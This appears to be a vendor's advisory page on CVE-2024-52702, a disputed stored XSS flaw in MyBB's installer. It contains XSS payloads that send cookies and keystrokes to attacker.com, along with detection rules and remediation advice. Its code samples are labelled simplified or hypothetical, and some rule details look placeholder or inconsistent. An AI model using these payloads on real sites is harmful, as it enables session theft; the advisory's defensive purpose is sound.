CVE-2024-52702
Executive Summary
CVE-2024-52702 describes a stored cross-site scripting (XSS) vulnerability in MyBB v1.8.38, specifically within the install/index.php component. An attacker with administrative privileges can inject arbitrary JavaScript or HTML into the "Website Name" parameter during installation. The injected payload is stored and executed when other administrators view the affected page. The vendor disputes the finding, arguing that only administrators can set the Website Name and may intentionally use JavaScript. However, from a defense-in-depth perspective, any stored XSS in a privileged interface increases the risk of session hijacking, credential theft, or lateral movement if an admin account is compromised.
Note: This vulnerability is not related to a WordPress plugin or component; it affects the standalone MyBB forum software.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
MyBB is a self-hosted PHP application distributed via its official website and GitHub. There is no NPM, PyPI, Go, or Ruby package involved. The risk is limited to direct exploitation of the MyBB installation interface.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The installation interface is accessible over the network.
- Attack Complexity (AC): Low (L) – No special conditions required beyond network access.
- Privileges Required (PR): High (H) – The attacker must have administrative access to the MyBB installation.
- User Interaction (UI): Required (R) – Another administrator must view the affected page.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No direct impact on availability.
CVSS Score: 4.8 (Medium)
Threat Level: Medium – Exploitation requires administrative privileges, but the impact can be significant if an admin account is compromised.
Deep Dive & Mechanics
The vulnerability resides in install/index.php, which handles the initial MyBB setup. The "Website Name" parameter is stored in the database without proper sanitization or output encoding. When an administrator views the settings page, the stored value is rendered directly into the HTML, allowing arbitrary script execution.
Root Cause: Lack of output encoding for the Website Name field in the installation interface. The value is stored as-is and later echoed without escaping.
Attack Flow:
- An attacker gains administrative access (e.g., via credential theft or social engineering).
- The attacker navigates to the installation page (
install/index.php) and sets the Website Name to a malicious payload, e.g.,<script>alert('XSS')</script>. - The payload is stored in the database.
- When another administrator views the settings page, the payload executes in their browser.
Dispute Note: The vendor argues that only administrators can set this field, and they may intentionally use JavaScript. However, this ignores the risk of compromised admin accounts and the principle of least privilege.
Vulnerable vs. Patched Code
Vulnerable Code (MyBB v1.8.38):
// install/index.php (simplified)
$website_name = $_POST['website_name'];
// No sanitization or encoding
$db->insert("settings", array("name" => $website_name));
Patched Code (Hypothetical):
// install/index.php (patched)
$website_name = htmlspecialchars($_POST['website_name'], ENT_QUOTES, 'UTF-8');
$db->insert("settings", array("name" => $website_name));
Explanation: The patched version uses htmlspecialchars() to encode HTML special characters, preventing script injection. The vulnerable version stores the raw input.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Administrative access to MyBB v1.8.38.
- Network access to the installation interface.
Exploit Steps:
- Log in as an administrator.
- Navigate to
install/index.php. - Set the "Website Name" to:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Complete the installation or save settings.
- When another admin views the settings page, the script executes, exfiltrating cookies.
Alternative Payload (Keylogger):
<script>
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/keylog?key='+e.key);
});
</script>
Blue Team
Detection:
- Monitor for unusual changes to the Website Name setting.
- Look for JavaScript payloads in database entries for the
settingstable. - Use WAF rules to block common XSS patterns in POST parameters.
Hunting Query (SQL):
SELECT * FROM mybb_settings WHERE name LIKE '%<script%' OR name LIKE '%onerror%';
Log Analysis:
- Check web server logs for requests to
install/index.phpwith suspiciouswebsite_nameparameters. - Example log entry:
192.168.1.100 - - [01/Jan/2024:12:00:00 +0000] "POST /install/index.php HTTP/1.1" 200 1234 "http://target.com/install/" "Mozilla/5.0"
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound connections to attacker-controlled domains from the MyBB server.
- Unusual POST requests to
install/index.phpwith encoded JavaScript in thewebsite_nameparameter.
Host IOCs:
- Database entries in
mybb_settingscontaining<script>tags or event handlers. - Modified
settingstable with unexpected values forwebsite_name.
- Database entries in
File IOCs:
- No file changes required; exploitation is purely data-driven.
Detection Engineering
YARA Rule
rule CVE_2024_52702_XSS_MyBB {
meta:
description = "Detects stored XSS payload in MyBB settings database dump"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-52702"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /onload\s*=\s*["']?[^"']*["']?/i
condition:
any of them
}
Sigma Rule
title: Stored XSS in MyBB Website Name Parameter
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential stored XSS via Website Name parameter in MyBB install/index.php
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/install/index.php'
cs-uri-query|contains: 'website_name'
condition: selection
falsepositives:
- Legitimate admin changes to Website Name
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-52702 MyBB Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/install/index.php"; http_uri; content:"website_name"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Restrict Access: Limit access to
install/index.phpto trusted IPs only. - Input Validation: Implement server-side validation to reject HTML/JavaScript in the Website Name field.
- Output Encoding: Apply
htmlspecialchars()or equivalent when rendering the Website Name.
Long-Term Fix:
- Upgrade to a patched version of MyBB once available.
- Apply a WAF rule to block XSS patterns in POST parameters.
Workaround:
- Manually edit
install/index.phpto sanitize the Website Name input:$website_name = htmlspecialchars($_POST['website_name'], ENT_QUOTES, 'UTF-8');
Monitoring:
- Enable detailed logging for all POST requests to
install/index.php. - Regularly audit the
settingstable for unexpected values.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.